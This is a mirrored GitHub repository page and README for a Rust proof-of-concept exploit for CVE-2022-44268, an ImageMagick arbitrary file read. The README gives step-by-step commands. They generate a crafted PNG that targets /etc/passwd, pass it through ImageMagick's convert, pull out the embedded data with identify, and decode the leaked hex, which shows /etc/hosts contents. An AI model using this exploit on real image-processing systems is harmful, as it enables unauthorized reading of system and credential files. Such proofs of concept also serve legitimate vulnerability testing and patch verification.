https://github.com/voidz0r/CVE-2022-44268

A PoC for the CVE-2022-44268 - ImageMagick arbitrary file read
https://github.com/voidz0r/CVE-2022-44268

Last synced: 21 days ago
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A PoC for the CVE-2022-44268 - ImageMagick arbitrary file read

• Host: GitHub
• URL: https://github.com/voidz0r/CVE-2022-44268
• Owner: voidz0r
• Created: 2023-02-05T18:42:27.000Z (almost 2 years ago)
• Default Branch: master
• Last Pushed: 2023-02-05T19:35:03.000Z (almost 2 years ago)
• Last Synced: 2024-08-05T17:45:23.899Z (4 months ago)
• Language: Rust
• Size: 934 KB
• Stars: 212
• Watchers: 2
• Forks: 28
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

        
# CVE-2022-44268 Arbitrary File Read PoC - PNG generator

This is a proof of concept of the ImageMagick bug discovered by https://www.metabaseq.com/imagemagick-zero-days/

Tested on ImageMagick v. 7.1.0-48 and 6.9.11-60

## How to use

### Clone the project

`git clone https://github.com/voidz0r/CVE-2022-44268`

### Run the project

`cargo run "/etc/passwd"`

### Use the file with ImageMagick

`convert image.png -resize 50% output.png`

### Analyze the resized image 

`identify -verbose output.png`

### Convert hex to str

`python3 -c 'print(bytes.fromhex("23202f6574632f686f7374730a3132372e302e302e31096c6f63616c686f73740a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3109096c6f63616c686f7374206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666630323a3a3109096970362d616c6c6e6f6465730a666630323a3a3209096970362d616c6c726f75746572730a6475636e740a"))`

### Screens

![generating payload](/screens/01_generating.png)

![resizing image](/screens/02_resized_image.png)

![hex](/screens/03_hex.png)

![result](/screens/04_result.png)